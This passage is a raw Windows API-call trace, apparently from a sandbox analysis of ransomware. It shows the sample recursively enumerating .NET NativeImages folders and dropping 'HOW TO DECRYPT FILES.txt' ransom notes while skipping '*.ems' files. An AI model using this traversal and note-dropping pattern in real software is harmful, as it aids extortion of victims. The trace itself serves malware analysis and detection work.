lpString2="9bc0d921859b039d6e9f642148333949" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949" [0107.230] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.234] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.234] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.234] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.234] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.234] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31f9135, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe31f9135, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe31f9135, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dfsvc.ni.exe", cAlternateFileName="DFSVCN~1.EXE")) returned 1 [0107.234] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.234] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dfsvc.ni.exe") returned 1 [0107.234] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dfsvc.ni.exe") returned 1 [0107.234] lstrcmpiA (lpString1="", lpString2="dfsvc.ni.exe") returned -1 [0107.234] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\*.*") returned="*.*" [0107.234] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\" [0107.235] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\") returned="" [0107.235] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\HOW TO DECRYPT FILES.txt" [0107.235] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\how to decrypt files.txt")) returned 0xffffffff [0107.235] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.237] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.238] CloseHandle (hObject=0x90) returned 1 [0107.238] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\", lpString2="dfsvc.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\dfsvc.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\dfsvc.ni.exe" [0107.238] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\dfsvc.ni.exe", pszSpec="*.ems") returned 0 [0107.238] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31f9135, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe31f9135, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe31f9135, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dfsvc.ni.exe", cAlternateFileName="DFSVCN~1.EXE")) returned 0 [0107.238] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.238] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe321f295, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe321f295, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9bc0d921859b039d6e9f642148333949", cAlternateFileName="9BC0D9~1")) returned 0 [0107.238] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.242] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x660064, dwReserved1=0x760073, cFileName="ehCIR", cAlternateFileName="")) returned 1 [0107.242] lstrcmpA (lpString1=".", lpString2="ehCIR") returned -1 [0107.242] lstrcmpA (lpString1="..", lpString2="ehCIR") returned -1 [0107.242] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.242] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehCIR" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR" [0107.242] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.245] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.245] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.245] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.245] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.245] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b648e07269decc9d5a2d8aeba1d48cbb", cAlternateFileName="B648E0~1")) returned 1 [0107.245] lstrcmpA (lpString1=".", lpString2="b648e07269decc9d5a2d8aeba1d48cbb") returned -1 [0107.245] lstrcmpA (lpString1="..", lpString2="b648e07269decc9d5a2d8aeba1d48cbb") returned -1 [0107.245] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\*.*") returned="*.*" [0107.245] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\", lpString2="b648e07269decc9d5a2d8aeba1d48cbb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb" [0107.245] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.246] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.246] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.246] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.246] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.246] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3037f2b6, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3037f2b6, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8970b772, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4ca00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehCIR.ni.dll", cAlternateFileName="")) returned 1 [0107.246] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.246] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehCIR.ni.dll") returned -1 [0107.246] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehCIR.ni.dll") returned 1 [0107.246] lstrcmpiA (lpString1="", lpString2="ehCIR.ni.dll") returned -1 [0107.246] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\*.*") returned="*.*" [0107.246] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\" [0107.246] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\") returned="" [0107.246] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\HOW TO DECRYPT FILES.txt" [0107.246] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehcir\\b648e07269decc9d5a2d8aeba1d48cbb\\how to decrypt files.txt")) returned 0xffffffff [0107.247] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehcir\\b648e07269decc9d5a2d8aeba1d48cbb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.250] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.250] CloseHandle (hObject=0x90) returned 1 [0107.250] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\", lpString2="ehCIR.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\ehCIR.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\ehCIR.ni.dll" [0107.250] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\ehCIR.ni.dll", pszSpec="*.ems") returned 0 [0107.250] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3037f2b6, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3037f2b6, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8970b772, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x4ca00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehCIR.ni.dll", cAlternateFileName="")) returned 0 [0107.250] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.251] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e05fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e05fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b648e07269decc9d5a2d8aeba1d48cbb", cAlternateFileName="B648E0~1")) returned 0 [0107.251] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.251] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x490043, cFileName="ehExtHost", cAlternateFileName="EHEXTH~1")) returned 1 [0107.251] lstrcmpA (lpString1=".", lpString2="ehExtHost") returned -1 [0107.251] lstrcmpA (lpString1="..", lpString2="ehExtHost") returned -1 [0107.251] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.251] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehExtHost" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost" [0107.251] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.252] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.252] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.252] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.252] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.252] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ad37b6e3a1cb1081592f1c5797ae9dad", cAlternateFileName="AD37B6~1")) returned 1 [0107.252] lstrcmpA (lpString1=".", lpString2="ad37b6e3a1cb1081592f1c5797ae9dad") returned -1 [0107.252] lstrcmpA (lpString1="..", lpString2="ad37b6e3a1cb1081592f1c5797ae9dad") returned -1 [0107.252] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\*.*") returned="*.*" [0107.252] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\", lpString2="ad37b6e3a1cb1081592f1c5797ae9dad" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad" [0107.252] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.261] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.261] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.261] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.261] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.261] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3037f2b6, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3037f2b6, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8c230682, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehExtHost.ni.exe", cAlternateFileName="EHEXTH~1.EXE")) returned 1 [0107.261] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.262] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehExtHost.ni.exe") returned -1 [0107.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehExtHost.ni.exe") returned 1 [0107.262] lstrcmpiA (lpString1="", lpString2="ehExtHost.ni.exe") returned -1 [0107.262] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\*.*") returned="*.*" [0107.262] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\" [0107.262] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\") returned="" [0107.262] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\HOW TO DECRYPT FILES.txt" [0107.262] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehexthost\\ad37b6e3a1cb1081592f1c5797ae9dad\\how to decrypt files.txt")) returned 0xffffffff [0107.262] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehexthost\\ad37b6e3a1cb1081592f1c5797ae9dad\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.266] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.266] CloseHandle (hObject=0x90) returned 1 [0107.266] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\", lpString2="ehExtHost.ni.exe" | out: 